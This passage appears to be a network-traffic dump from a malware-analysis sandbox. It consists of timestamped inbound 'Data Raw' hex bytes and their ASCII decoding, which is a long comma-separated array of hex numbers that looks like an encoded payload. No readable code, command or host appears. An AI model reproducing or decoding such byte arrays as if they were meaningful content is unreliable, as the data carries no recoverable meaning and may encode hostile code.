2023-04-20 23:05:01 UTC	10957	IN	Data Raw: 2c 31 34 62 2c 31 32 37 2c 38 39 2c 66 32 2c 66 65 2c 62 35 2c 31 34 37 2c 31 37 35 2c 64 63 2c 31 33 38 2c 64 35 2c 31 35 66 2c 62 61 2c 34 32 2c 39 63 2c 31 33 64 2c 38 64 2c 66 39 2c 37 63 2c 63 31 2c 31 33 30 2c 38 37 2c 65 63 2c 36 35 2c 66 38 2c 39 35 2c 31 33 62 2c 33 38 2c 62 34 2c 39 39 2c 31 30 66 2c 63 61 2c 31 34 61 2c 31 30 62 2c 31 32 35 2c 66 64 2c 37 35 2c 34 62 2c 37 64 2c 38 39 2c 66 63 2c 66 64 2c 34 32 2c 65 61 2c 63 36 2c 33 33 2c 35 31 2c 37 36 2c 38 66 2c 31 34 33 2c 35 61 2c 63 32 2c 66 63 2c 34 37 2c 35 35 2c 62 30 2c 37 38 2c 62 63 2c 66 66 2c 39 31 2c 31 34 64 2c 64 38 2c 31 37 30 2c 63 63 2c 37 33 2c 31 34 64 2c 31 30 39 2c 64 38 2c 62 61 2c 61 36 2c 37 32 2c 31 35 62 2c 31 32 61 2c 64 30 2c 31 31 32 2c 64 39 2c 38 30 2c 31 32 Data Ascii: ,14b,127,89,f2,fe,b5,147,175,dc,138,d5,15f,ba,42,9c,13d,8d,f9,7c,c1,130,87,ec,65,f8,95,13b,38,b4,99,10f,ca,14a,10b,125,fd,75,4b,7d,89,fc,fd,42,ea,c6,33,51,76,8f,143,5a,c2,fc,47,55,b0,78,bc,ff,91,14d,d8,170,cc,73,14d,109,d8,ba,a6,72,15b,12a,d0,112,d9,80,12
2023-04-20 23:05:01 UTC	10973	IN	Data Raw: 33 2c 31 32 66 2c 31 30 31 2c 31 32 39 2c 31 33 64 2c 35 62 2c 66 38 2c 31 32 33 2c 31 30 31 2c 62 37 2c 62 63 2c 62 63 2c 31 30 30 2c 62 36 2c 31 30 30 2c 31 33 37 2c 38 39 2c 37 64 2c 31 36 39 2c 31 30 38 2c 39 62 2c 38 39 2c 31 30 32 2c 66 32 2c 38 61 2c 31 32 63 2c 36 30 2c 37 37 2c 31 31 37 2c 31 32 34 2c 61 37 2c 31 34 66 2c 31 32 39 2c 38 65 2c 31 31 30 2c 65 64 2c 61 33 2c 31 30 34 2c 66 64 2c 31 30 66 2c 31 34 34 2c 66 33 2c 64 35 2c 31 31 32 2c 37 33 2c 38 34 2c 66 32 2c 65 33 2c 64 38 2c 31 31 39 2c 31 33 34 2c 38 34 2c 66 35 2c 36 34 2c 39 36 2c 66 33 2c 31 32 34 2c 39 62 2c 64 63 2c 31 31 36 2c 39 34 2c 31 30 65 2c 31 34 33 2c 64 38 2c 39 64 2c 31 34 62 2c 38 36 2c 31 34 66 2c 31 31 30 2c 63 62 2c 31 33 30 2c 62 33 2c 61 37 2c 31 33 36 2c 31 Data Ascii: 3,12f,101,129,13d,5b,f8,123,101,b7,bc,bc,100,b6,100,137,89,7d,169,108,9b,89,102,f2,8a,12c,60,77,117,124,a7,14f,129,8e,110,ed,a3,104,fd,10f,144,f3,d5,112,73,84,f2,e3,d8,119,134,84,f5,64,96,f3,124,9b,dc,116,94,10e,143,d8,9d,14b,86,14f,110,cb,130,b3,a7,136,1
2023-04-20 23:05:01 UTC	10989	IN	Data Raw: 62 36 2c 31 32 32 2c 31 36 61 2c 37 38 2c 39 64 2c 35 31 2c 31 33 61 2c 65 38 2c 31 33 61 2c 36 63 2c 65 30 2c 64 34 2c 31 30 39 2c 65 38 2c 31 34 62 2c 66 36 2c 38 37 2c 62 65 2c 31 34 34 2c 61 62 2c 34 39 2c 33 65 2c 31 32 39 2c 34 34 2c 39 33 2c 31 32 62 2c 31 34 34 2c 62 35 2c 66 31 2c 61 35 2c 65 32 2c 34 32 2c 36 32 2c 66 36 2c 64 62 2c 66 65 2c 38 63 2c 31 30 39 2c 61 34 2c 31 31 37 2c 66 35 2c 31 35 30 2c 31 31 30 2c 31 35 39 2c 31 33 64 2c 64 38 2c 62 34 2c 65 34 2c 31 35 35 2c 37 64 2c 66 38 2c 35 62 2c 31 32 34 2c 61 62 2c 66 30 2c 31 31 34 2c 39 63 2c 31 33 37 2c 31 30 35 2c 31 32 65 2c 62 32 2c 31 33 65 2c 63 30 2c 65 64 2c 63 66 2c 31 32 62 2c 61 33 2c 64 64 2c 36 62 2c 61 36 2c 37 34 2c 65 39 2c 64 33 2c 65 30 2c 31 35 30 2c 31 36 32 2c 39 Data Ascii: b6,122,16a,78,9d,51,13a,e8,13a,6c,e0,d4,109,e8,14b,f6,87,be,144,ab,49,3e,129,44,93,12b,144,b5,f1,a5,e2,42,62,f6,db,fe,8c,109,a4,117,f5,150,110,159,13d,d8,b4,e4,155,7d,f8,5b,124,ab,f0,114,9c,137,105,12e,b2,13e,c0,ed,cf,12b,a3,dd,6b,a6,74,e9,d3,e0,150,162,9
2023-04-20 23:05:01 UTC	11005	IN	Data Raw: 2c 62 36 2c 31 33 37 2c 64 37 2c 66 37 2c 31 31 33 2c 62 36 2c 38 33 2c 65 37 2c 31 30 38 2c 31 34 66 2c 31 34 63 2c 31 31 34 2c 31 32 35 2c 37 33 2c 39 65 2c 61 61 2c 31 30 33 2c 38 39 2c 35 34 2c 63 38 2c 39 36 2c 38 64 2c 31 30 33 2c 39 34 2c 31 32 30 2c 61 66 2c 31 31 62 2c 64 64 2c 31 30 37 2c 62 32 2c 31 32 35 2c 36 30 2c 31 32 35 2c 37 66 2c 31 33 32 2c 37 34 2c 38 32 2c 31 34 35 2c 65 30 2c 31 30 64 2c 31 30 62 2c 31 33 37 2c 31 34 32 2c 61 61 2c 65 39 2c 31 35 34 2c 31 30 34 2c 38 64 2c 37 65 2c 31 33 35 2c 63 61 2c 63 39 2c 62 63 2c 31 35 35 2c 62 38 2c 66 37 2c 62 64 2c 39 35 2c 31 31 32 2c 65 31 2c 38 35 2c 37 62 2c 31 31 38 2c 66 66 2c 31 30 39 2c 37 31 2c 31 30 37 2c 31 34 32 2c 31 34 61 2c 31 35 37 2c 65 64 2c 38 64 2c 31 32 38 2c 31 31 66 Data Ascii: ,b6,137,d7,f7,113,b6,83,e7,108,14f,14c,114,125,73,9e,aa,103,89,54,c8,96,8d,103,94,120,af,11b,dd,107,b2,125,60,125,7f,132,74,82,145,e0,10d,10b,137,142,aa,e9,154,104,8d,7e,135,ca,c9,bc,155,b8,f7,bd,95,112,e1,85,7b,118,ff,109,71,107,142,14a,157,ed,8d,128,11f
2023-04-20 23:05:01 UTC	11021	IN	Data Raw: 63 2c 31 32 35 2c 66 66 2c 31 34 61 2c 31 32 61 2c 31 33 39 2c 31 32 34 2c 36 64 2c 31 36 64 2c 37 63 2c 31 32 39 2c 31 33 31 2c 31 30 64 2c 31 33 31 2c 31 30 39 2c 66 61 2c 64 35 2c 66 39 2c 65 30 2c 66 34 2c 31 31 39 2c 64 35 2c 31 32 37 2c 31 30 63 2c 66 37 2c 63 65 2c 66 66 2c 31 30 31 2c 31 32 35 2c 61 64 2c 66 65 2c 62 33 2c 65 64 2c 39 66 2c 31 30 30 2c 64 34 2c 31 32 62 2c 61 33 2c 31 32 35 2c 38 39 2c 31 31 63 2c 61 61 2c 64 61 2c 38 39 2c 31 33 64 2c 38 64 2c 35 39 2c 39 65 2c 64 36 2c 39 37 2c 65 31 2c 38 38 2c 31 31 61 2c 31 35 35 2c 31 32 37 2c 37 32 2c 66 38 2c 31 34 61 2c 66 66 2c 38 35 2c 31 32 34 2c 31 32 39 2c 66 63 2c 31 33 37 2c 65 62 2c 31 30 66 2c 66 65 2c 31 32 36 2c 31 32 39 2c 31 32 64 2c 31 32 35 2c 66 62 2c 31 31 63 2c 31 31 36 Data Ascii: c,125,ff,14a,12a,139,124,6d,16d,7c,129,131,10d,131,109,fa,d5,f9,e0,f4,119,d5,127,10c,f7,ce,ff,101,125,ad,fe,b3,ed,9f,100,d4,12b,a3,125,89,11c,aa,da,89,13d,8d,59,9e,d6,97,e1,88,11a,155,127,72,f8,14a,ff,85,124,129,fc,137,eb,10f,fe,126,129,12d,125,fb,11c,116
2023-04-20 23:05:01 UTC	11037	IN	Data Raw: 34 2c 31 32 64 2c 37 33 2c 31 32 36 2c 37 66 2c 35 34 2c 31 34 61 2c 31 32 38 2c 31 34 36 2c 38 38 2c 66 30 2c 64 34 2c 31 32 62 2c 66 32 2c 66 35 2c 39 63 2c 31 30 64 2c 34 61 2c 31 32 62 2c 65 65 2c 62 37 2c 31 30 33 2c 66 39 2c 61 34 2c 31 33 36 2c 39 30 2c 31 32 63 2c 31 32 38 2c 62 33 2c 61 36 2c 36 62 2c 31 30 65 2c 31 34 33 2c 65 62 2c 66 65 2c 37 65 2c 66 64 2c 66 38 2c 39 39 2c 66 63 2c 37 38 2c 37 31 2c 38 38 2c 31 33 36 2c 31 31 39 2c 38 33 2c 62 33 2c 63 66 2c 36 33 2c 31 34 36 2c 37 63 2c 65 66 2c 31 30 65 2c 63 64 2c 31 37 31 2c 62 39 2c 63 63 2c 33 63 2c 31 31 34 2c 31 33 35 2c 65 39 2c 63 61 2c 38 63 2c 31 34 65 2c 62 39 2c 62 64 2c 31 31 37 2c 31 31 30 2c 63 33 2c 65 30 2c 31 32 62 2c 31 35 65 2c 31 35 38 2c 65 38 2c 61 39 2c 39 35 2c 31 Data Ascii: 4,12d,73,126,7f,54,14a,128,146,88,f0,d4,12b,f2,f5,9c,10d,4a,12b,ee,b7,103,f9,a4,136,90,12c,128,b3,a6,6b,10e,143,eb,fe,7e,fd,f8,99,fc,78,71,88,136,119,83,b3,cf,63,146,7c,ef,10e,cd,171,b9,cc,3c,114,135,e9,ca,8c,14e,b9,bd,117,110,c3,e0,12b,15e,158,e8,a9,95,1
2023-04-20 23:05:01 UTC	11053	IN	Data Raw: 64 39 2c 65 66 2c 62 31 2c 38 64 2c 65 65 2c 39 61 2c 37 36 2c 62 34 2c 39 33 2c 63 65 2c 37 31 2c 64 66 2c 66 65 2c 31 32 63 2c 31 34 66 2c 31 36 33 2c 61 64 2c 63 36 2c 65 33 2c 31 32 35 2c 31 30 63 2c 31 32 64 2c 37 63 2c 31 33 63 2c 31 33 30 2c 31 31 63 2c 31 36 33 2c 65 37 2c 31 34 34 2c 31 34 63 2c 61 66 2c 37 63 2c 35 37 2c 65 66 2c 31 30 37 2c 31 32 31 2c 65 33 2c 64 37 2c 66 32 2c 66 32 2c 62 64 2c 31 32 66 2c 65 62 2c 63 33 2c 37 39 2c 31 31 63 2c 31 33 39 2c 31 36 33 2c 31 34 64 2c 31 30 61 2c 31 30 38 2c 65 38 2c 37 37 2c 63 64 2c 64 37 2c 63 30 2c 31 32 34 2c 65 65 2c 36 66 2c 31 32 64 2c 31 33 36 2c 66 63 2c 35 30 2c 39 66 2c 65 36 2c 37 37 2c 31 30 62 2c 31 32 61 2c 31 32 66 2c 31 35 62 2c 36 61 2c 61 63 2c 63 65 2c 39 66 2c 31 31 38 2c 63 Data Ascii: d9,ef,b1,8d,ee,9a,76,b4,93,ce,71,df,fe,12c,14f,163,ad,c6,e3,125,10c,12d,7c,13c,130,11c,163,e7,144,14c,af,7c,57,ef,107,121,e3,d7,f2,f2,bd,12f,eb,c3,79,11c,139,163,14d,10a,108,e8,77,cd,d7,c0,124,ee,6f,12d,136,fc,50,9f,e6,77,10b,12a,12f,15b,6a,ac,ce,9f,118,c
2023-04-20 23:05:01 UTC	11069	IN	Data Raw: 65 33 2c 62 36 2c 31 31 35 2c 65 64 2c 36 39 2c 61 38 2c 31 31 65 2c 31 31 32 2c 37 32 2c 66 62 2c 64 39 2c 36 64 2c 64 62 2c 31 34 32 2c 62 33 2c 31 30 61 2c 31 34 30 2c 31 32 63 2c 31 36 64 2c 39 39 2c 35 39 2c 31 30 35 2c 38 64 2c 39 66 2c 31 34 35 2c 31 33 30 2c 31 33 65 2c 37 37 2c 65 35 2c 31 30 30 2c 31 34 32 2c 65 62 2c 65 39 2c 63 61 2c 31 31 32 2c 31 30 63 2c 39 38 2c 37 37 2c 31 34 32 2c 65 61 2c 64 32 2c 62 31 2c 31 35 61 2c 31 35 65 2c 65 34 2c 31 32 63 2c 37 64 2c 33 35 2c 35 37 2c 31 34 33 2c 31 32 63 2c 31 31 39 2c 63 62 2c 66 63 2c 64 62 2c 63 30 2c 61 33 2c 61 39 2c 36 64 2c 62 64 2c 31 30 35 2c 34 39 2c 35 63 2c 63 62 2c 38 33 2c 31 33 62 2c 64 64 2c 66 34 2c 62 62 2c 62 63 2c 31 34 31 2c 61 33 2c 31 32 31 2c 31 30 61 2c 31 30 63 2c 62 Data Ascii: e3,b6,115,ed,69,a8,11e,112,72,fb,d9,6d,db,142,b3,10a,140,12c,16d,99,59,105,8d,9f,145,130,13e,77,e5,100,142,eb,e9,ca,112,10c,98,77,142,ea,d2,b1,15a,15e,e4,12c,7d,35,57,143,12c,119,cb,fc,db,c0,a3,a9,6d,bd,105,49,5c,cb,83,13b,dd,f4,bb,bc,141,a3,121,10a,10c,b
2023-04-20 23:05:01 UTC	11085	IN	Data Raw: 2c 65 62 2c 39 62 2c 31 31 30 2c 39 61 2c 31 31 37 2c 35 31 2c 61 33 2c 31 31 34 2c 31 30 63 2c 65 33 2c 63 61 2c 63 31 2c 63 39 2c 31 30 39 2c 31 35 35 2c 66 38 2c 61 62 2c 31 31 38 2c 35 36 2c 65 33 2c 65 66 2c 37 65 2c 62 38 2c 65 63 2c 65 32 2c 31 31 35 2c 38 37 2c 31 34 64 2c 31 33 63 2c 63 37 2c 31 31 65 2c 38 33 2c 62 32 2c 63 33 2c 66 65 2c 62 65 2c 31 31 33 2c 37 38 2c 37 34 2c 38 30 2c 66 33 2c 31 32 61 2c 31 31 38 2c 36 32 2c 62 62 2c 36 63 2c 39 32 2c 31 36 61 2c 31 34 62 2c 37 63 2c 31 32 39 2c 66 64 2c 31 34 64 2c 37 66 2c 62 66 2c 31 35 34 2c 31 30 63 2c 31 35 66 2c 38 65 2c 64 66 2c 31 32 38 2c 36 36 2c 31 32 62 2c 61 35 2c 66 63 2c 31 33 39 2c 64 62 2c 38 65 2c 31 30 31 2c 31 32 33 2c 31 31 31 2c 31 31 65 2c 31 35 66 2c 65 36 2c 31 33 34 Data Ascii: ,eb,9b,110,9a,117,51,a3,114,10c,e3,ca,c1,c9,109,155,f8,ab,118,56,e3,ef,7e,b8,ec,e2,115,87,14d,13c,c7,11e,83,b2,c3,fe,be,113,78,74,80,f3,12a,118,62,bb,6c,92,16a,14b,7c,129,fd,14d,7f,bf,154,10c,15f,8e,df,128,66,12b,a5,fc,139,db,8e,101,123,111,11e,15f,e6,134
2023-04-20 23:05:01 UTC	11101	IN	Data Raw: 2c 31 36 31 2c 35 36 2c 31 33 61 2c 31 32 64 2c 64 66 2c 31 30 64 2c 38 38 2c 64 39 2c 66 32 2c 31 31 30 2c 39 39 2c 31 35 35 2c 31 33 31 2c 61 62 2c 35 31 2c 31 30 35 2c 31 32 31 2c 31 31 35 2c 35 39 2c 31 31 62 2c 31 33 39 2c 61 36 2c 38 38 2c 31 34 63 2c 31 34 31 2c 31 30 39 2c 36 39 2c 31 33 32 2c 31 36 63 2c 39 63 2c 64 34 2c 38 36 2c 31 36 30 2c 39 30 2c 31 30 37 2c 31 32 62 2c 66 30 2c 64 38 2c 38 38 2c 64 65 2c 31 31 35 2c 31 32 66 2c 31 35 61 2c 65 32 2c 31 34 36 2c 31 31 66 2c 36 38 2c 39 64 2c 31 34 64 2c 36 32 2c 31 35 32 2c 64 38 2c 65 64 2c 39 35 2c 31 32 64 2c 31 34 62 2c 65 36 2c 31 30 62 2c 35 30 2c 37 63 2c 31 36 65 2c 62 62 2c 31 30 62 2c 31 30 34 2c 61 35 2c 39 66 2c 31 30 35 2c 66 34 2c 64 65 2c 31 31 38 2c 65 37 2c 31 31 37 2c 31 31 Data Ascii: ,161,56,13a,12d,df,10d,88,d9,f2,110,99,155,131,ab,51,105,121,115,59,11b,139,a6,88,14c,141,109,69,132,16c,9c,d4,86,160,90,107,12b,f0,d8,88,de,115,12f,15a,e2,146,11f,68,9d,14d,62,152,d8,ed,95,12d,14b,e6,10b,50,7c,16e,bb,10b,104,a5,9f,105,f4,de,118,e7,117,11
2023-04-20 23:05:01 UTC	11117	IN	Data Raw: 30 2c 61 31 2c 31 34 33 2c 31 32 33 2c 38 35 2c 35 30 2c 39 36 2c 64 34 2c 31 30 39 2c 65 37 2c 31 35 34 2c 31 34 37 2c 63 66 2c 36 32 2c 31 32 33 2c 38 66 2c 62 37 2c 65 62 2c 63 62 2c 31 30 61 2c 61 30 2c 66 30 2c 64 64 2c 31 36 34 2c 66 63 2c 36 38 2c 65 62 2c 66 61 2c 31 32 38 2c 66 31 2c 31 32 39 2c 35 34 2c 37 61 2c 62 66 2c 31 30 66 2c 61 36 2c 31 31 62 2c 31 31 66 2c 61 35 2c 31 34 35 2c 64 35 2c 61 33 2c 37 61 2c 31 36 34 2c 62 65 2c 62 35 2c 65 33 2c 31 34 35 2c 66 38 2c 31 30 35 2c 64 61 2c 31 32 33 2c 31 31 62 2c 31 32 62 2c 65 31 2c 31 35 31 2c 63 63 2c 35 39 2c 39 32 2c 66 62 2c 31 36 31 2c 31 31 65 2c 63 39 2c 61 38 2c 31 32 39 2c 31 35 61 2c 31 32 30 2c 64 31 2c 31 30 35 2c 63 66 2c 39 30 2c 35 34 2c 39 35 2c 31 33 63 2c 31 35 31 2c 66 33 Data Ascii: 0,a1,143,123,85,50,96,d4,109,e7,154,147,cf,62,123,8f,b7,eb,cb,10a,a0,f0,dd,164,fc,68,eb,fa,128,f1,129,54,7a,bf,10f,a6,11b,11f,a5,145,d5,a3,7a,164,be,b5,e3,145,f8,105,da,123,11b,12b,e1,151,cc,59,92,fb,161,11e,c9,a8,129,15a,120,d1,105,cf,90,54,95,13c,151,f3
2023-04-20 23:05:01 UTC	11133	IN	Data Raw: 30 2c 66 37 2c 31 30 31 2c 31 33 32 2c 62 65 2c 31 35 30 2c 37 63 2c 61 39 2c 37 63 2c 63 33 2c 38 31 2c 64 61 2c 31 34 63 2c 31 35 34 2c 31 31 35 2c 33 63 2c 31 34 30 2c 31 31 34 2c 66 65 2c 66 38 2c 64 63 2c 38 64 2c 31 32 30 2c 31 30 66 2c 64 35 2c 31 30 61 2c 36 35 2c 66 34 2c 63 39 2c 36 38 2c 31 35 38 2c 62 39 2c 65 65 2c 65 64 2c 63 32 2c 31 31 65 2c 64 36 2c 37 64 2c 31 32 37 2c 31 32 39 2c 36 36 2c 31 32 37 2c 62 65 2c 31 32 32 2c 31 31 34 2c 31 30 39 2c 65 62 2c 34 64 2c 31 31 64 2c 31 35 63 2c 31 30 64 2c 31 31 30 2c 31 30 39 2c 31 31 33 2c 62 36 2c 38 64 2c 35 35 2c 31 31 39 2c 62 31 2c 35 33 2c 37 34 2c 39 34 2c 31 33 63 2c 64 38 2c 62 35 2c 65 33 2c 61 30 2c 64 38 2c 63 32 2c 31 32 66 2c 63 66 2c 65 61 2c 62 37 2c 31 35 32 2c 34 65 2c 62 63 Data Ascii: 0,f7,101,132,be,150,7c,a9,7c,c3,81,da,14c,154,115,3c,140,114,fe,f8,dc,8d,120,10f,d5,10a,65,f4,c9,68,158,b9,ee,ed,c2,11e,d6,7d,127,129,66,127,be,122,114,109,eb,4d,11d,15c,10d,110,109,113,b6,8d,55,119,b1,53,74,94,13c,d8,b5,e3,a0,d8,c2,12f,cf,ea,b7,152,4e,bc
2023-04-20 23:05:01 UTC	11149	IN	Data Raw: 2c 37 32 2c 36 66 2c 38 39 2c 64 38 2c 31 31 37 2c 31 30 33 2c 37 35 2c 31 32 37 2c 66 66 2c 31 35 35 2c 37 37 2c 31 35 33 2c 61 66 2c 66 34 2c 63 30 2c 65 34 2c 31 33 63 2c 66 65 2c 31 30 64 2c 39 33 2c 31 31 66 2c 31 32 32 2c 37 64 2c 31 30 30 2c 39 35 2c 64 38 2c 63 34 2c 65 33 2c 65 35 2c 63 36 2c 64 30 2c 39 33 2c 31 34 63 2c 64 35 2c 66 33 2c 34 31 2c 31 31 64 2c 34 64 2c 36 36 2c 62 61 2c 38 36 2c 31 35 36 2c 65 61 2c 66 61 2c 39 33 2c 64 62 2c 63 37 2c 31 33 62 2c 31 36 62 2c 66 63 2c 38 63 2c 64 36 2c 31 35 33 2c 39 35 2c 34 63 2c 38 32 2c 63 35 2c 31 35 37 2c 38 34 2c 66 36 2c 65 37 2c 31 31 62 2c 31 32 31 2c 39 66 2c 31 34 63 2c 31 34 61 2c 65 61 2c 35 65 2c 36 65 2c 31 31 61 2c 37 66 2c 31 32 39 2c 61 34 2c 66 63 2c 65 34 2c 31 35 32 2c 31 31 Data Ascii: ,72,6f,89,d8,117,103,75,127,ff,155,77,153,af,f4,c0,e4,13c,fe,10d,93,11f,122,7d,100,95,d8,c4,e3,e5,c6,d0,93,14c,d5,f3,41,11d,4d,66,ba,86,156,ea,fa,93,db,c7,13b,16b,fc,8c,d6,153,95,4c,82,c5,157,84,f6,e7,11b,121,9f,14c,14a,ea,5e,6e,11a,7f,129,a4,fc,e4,152,11
2023-04-20 23:05:01 UTC	11165	IN	Data Raw: 38 34 2c 31 31 38 2c 61 31 2c 61 36 2c 64 62 2c 62 33 2c 38 61 2c 37 35 2c 35 66 2c 34 62 2c 36 33 2c 66 39 2c 31 33 35 2c 61 66 2c 39 36 2c 63 66 2c 31 35 30 2c 66 32 2c 64 63 2c 35 30 2c 31 31 66 2c 63 33 2c 37 34 2c 37 39 2c 66 66 2c 61 35 2c 31 31 37 2c 31 34 33 2c 31 35 39 2c 39 35 2c 37 33 2c 31 32 66 2c 31 33 36 2c 39 38 2c 61 38 2c 31 34 33 2c 39 64 2c 62 64 2c 35 30 2c 31 31 64 2c 35 39 2c 61 32 2c 37 30 2c 38 37 2c 63 34 2c 31 34 30 2c 39 62 2c 31 35 31 2c 62 66 2c 31 32 39 2c 61 65 2c 31 34 65 2c 31 34 33 2c 36 61 2c 61 66 2c 31 32 35 2c 63 62 2c 31 32 63 2c 62 34 2c 31 34 64 2c 63 36 2c 31 35 37 2c 31 30 38 2c 35 66 2c 66 30 2c 31 31 34 2c 39 36 2c 38 30 2c 65 61 2c 36 64 2c 38 61 2c 34 61 2c 31 31 34 2c 65 61 2c 38 64 2c 31 32 38 2c 31 36 33 Data Ascii: 84,118,a1,a6,db,b3,8a,75,5f,4b,63,f9,135,af,96,cf,150,f2,dc,50,11f,c3,74,79,ff,a5,117,143,159,95,73,12f,136,98,a8,143,9d,bd,50,11d,59,a2,70,87,c4,140,9b,151,bf,129,ae,14e,143,6a,af,125,cb,12c,b4,14d,c6,157,108,5f,f0,114,96,80,ea,6d,8a,4a,114,ea,8d,128,163
2023-04-20 23:05:01 UTC	11181	IN	Data Raw: 2c 61 37 2c 31 31 32 2c 37 38 2c 63 39 2c 66 34 2c 31 34 33 2c 38 37 2c 31 32 36 2c 63 32 2c 35 31 2c 65 34 2c 37 66 2c 63 30 2c 31 35 34 2c 61 61 2c 31 33 66 2c 66 61 2c 31 31 32 2c 66 62 2c 63 38 2c 31 31 62 2c 38 62 2c 31 30 34 2c 31 32 38 2c 31 33 34 2c 65 35 2c 62 32 2c 31 31 64 2c 31 32 32 2c 31 30 32 2c 61 30 2c 31 35 37 2c 64 62 2c 63 38 2c 62 33 2c 31 34 65 2c 66 63 2c 64 31 2c 35 62 2c 31 31 32 2c 39 61 2c 33 33 2c 36 65 2c 64 36 2c 66 31 2c 31 36 62 2c 64 61 2c 62 35 2c 37 65 2c 65 32 2c 63 32 2c 37 36 2c 38 39 2c 39 30 2c 38 65 2c 35 39 2c 31 32 30 2c 33 65 2c 31 36 38 2c 37 66 2c 65 64 2c 31 30 30 2c 39 65 2c 37 61 2c 38 62 2c 31 31 32 2c 35 39 2c 31 31 32 2c 38 66 2c 31 37 34 2c 62 37 2c 37 65 2c 39 37 2c 31 30 36 2c 64 35 2c 35 64 2c 35 64 Data Ascii: ,a7,112,78,c9,f4,143,87,126,c2,51,e4,7f,c0,154,aa,13f,fa,112,fb,c8,11b,8b,104,128,134,e5,b2,11d,122,102,a0,157,db,c8,b3,14e,fc,d1,5b,112,9a,33,6e,d6,f1,16b,da,b5,7e,e2,c2,76,89,90,8e,59,120,3e,168,7f,ed,100,9e,7a,8b,112,59,112,8f,174,b7,7e,97,106,d5,5d,5d
2023-04-20 23:05:01 UTC	11197	IN	Data Raw: 2c 63 35 2c 31 34 65 2c 31 35 39 2c 38 36 2c 39 32 2c 31 31 33 2c 31 34 35 2c 38 62 2c 31 30 65 2c 31 37 35 2c 66 35 2c 38 65 2c 35 37 2c 31 31 64 2c 31 34 30 2c 63 39 2c 65 33 2c 31 31 36 2c 65 66 2c 64 63 2c 62 32 2c 31 32 32 2c 61 39 2c 31 30 61 2c 36 37 2c 31 32 62 2c 31 35 35 2c 63 66 2c 31 33 39 2c 66 66 2c 31 32 65 2c 61 37 2c 65 35 2c 62 32 2c 36 66 2c 61 64 2c 62 34 2c 63 64 2c 31 31 38 2c 31 35 30 2c 66 35 2c 31 32 36 2c 36 63 2c 31 34 65 2c 38 38 2c 36 32 2c 31 32 64 2c 34 37 2c 66 33 2c 63 32 2c 65 64 2c 31 33 63 2c 35 35 2c 31 35 33 2c 31 35 62 2c 65 30 2c 37 61 2c 31 30 36 2c 38 31 2c 66 35 2c 39 62 2c 64 36 2c 64 61 2c 61 32 2c 62 38 2c 31 33 36 2c 36 32 2c 36 37 2c 31 30 66 2c 39 37 2c 64 64 2c 65 39 2c 31 32 31 2c 62 32 2c 61 33 2c 66 39 Data Ascii: ,c5,14e,159,86,92,113,145,8b,10e,175,f5,8e,57,11d,140,c9,e3,116,ef,dc,b2,122,a9,10a,67,12b,155,cf,139,ff,12e,a7,e5,b2,6f,ad,b4,cd,118,150,f5,126,6c,14e,88,62,12d,47,f3,c2,ed,13c,55,153,15b,e0,7a,106,81,f5,9b,d6,da,a2,b8,136,62,67,10f,97,dd,e9,121,b2,a3,f9
2023-04-20 23:05:02 UTC	11213	IN	Data Raw: 2c 36 33 2c 62 34 2c 39 61 2c 34 66 2c 39 61 2c 38 61 2c 31 35 33 2c 35 39 2c 38 61 2c 31 32 66 2c 31 31 35 2c 35 37 2c 36 33 2c 38 62 2c 31 32 31 2c 64 38 2c 37 39 2c 34 64 2c 31 31 36 2c 63 33 2c 61 33 2c 65 39 2c 36 32 2c 31 31 39 2c 65 61 2c 39 64 2c 31 35 30 2c 39 32 2c 31 33 39 2c 31 32 36 2c 31 33 61 2c 31 33 66 2c 31 32 36 2c 31 31 62 2c 65 64 2c 64 65 2c 31 34 30 2c 31 33 31 2c 38 65 2c 36 33 2c 31 30 39 2c 61 37 2c 37 66 2c 38 34 2c 36 37 2c 36 36 2c 66 66 2c 39 65 2c 37 37 2c 31 32 63 2c 66 38 2c 36 35 2c 66 31 2c 64 31 2c 31 33 37 2c 31 34 39 2c 36 61 2c 62 31 2c 63 32 2c 38 34 2c 31 33 64 2c 31 34 62 2c 61 65 2c 31 33 66 2c 34 63 2c 31 32 62 2c 63 30 2c 33 63 2c 39 30 2c 64 35 2c 31 30 36 2c 37 32 2c 65 35 2c 66 63 2c 37 65 2c 35 33 2c 65 31 Data Ascii: ,63,b4,9a,4f,9a,8a,153,59,8a,12f,115,57,63,8b,121,d8,79,4d,116,c3,a3,e9,62,119,ea,9d,150,92,139,126,13a,13f,126,11b,ed,de,140,131,8e,63,109,a7,7f,84,67,66,ff,9e,77,12c,f8,65,f1,d1,137,149,6a,b1,c2,84,13d,14b,ae,13f,4c,12b,c0,3c,90,d5,106,72,e5,fc,7e,53,e1
2023-04-20 23:05:02 UTC	11229	IN	Data Raw: 30 30 2c 61 37 2c 66 66 2c 63 35 2c 39 31 2c 31 32 31 2c 37 35 2c 61 35 2c 31 30 34 2c 31 32 65 2c 38 65 2c 31 33 31 2c 38 33 2c 35 35 2c 37 31 2c 36 38 2c 38 64 2c 38 39 2c 31 32 37 2c 34 65 2c 31 35 66 2c 31 31 36 2c 37 35 2c 38 31 2c 66 62 2c 31 36 36 2c 61 34 2c 38 34 2c 36 31 2c 31 35 30 2c 31 33 38 2c 62 35 2c 35 35 2c 61 34 2c 61 39 2c 35 37 2c 31 34 63 2c 66 66 2c 39 64 2c 61 33 2c 31 31 37 2c 31 34 63 2c 31 32 65 2c 65 34 2c 31 34 33 2c 66 32 2c 66 62 2c 66 64 2c 61 30 2c 38 63 2c 62 35 2c 31 30 61 2c 31 31 61 2c 37 30 2c 37 33 2c 31 34 63 2c 66 65 2c 63 64 2c 66 37 2c 38 62 2c 66 63 2c 61 37 2c 31 33 38 2c 31 32 66 2c 31 31 63 2c 66 35 2c 61 34 2c 62 64 2c 66 31 2c 61 37 2c 31 31 64 2c 64 36 2c 39 30 2c 38 65 2c 31 30 64 2c 66 35 2c 37 63 2c 62 Data Ascii: 00,a7,ff,c5,91,121,75,a5,104,12e,8e,131,83,55,71,68,8d,89,127,4e,15f,116,75,81,fb,166,a4,84,61,150,138,b5,55,a4,a9,57,14c,ff,9d,a3,117,14c,12e,e4,143,f2,fb,fd,a0,8c,b5,10a,11a,70,73,14c,fe,cd,f7,8b,fc,a7,138,12f,11c,f5,a4,bd,f1,a7,11d,d6,90,8e,10d,f5,7c,b
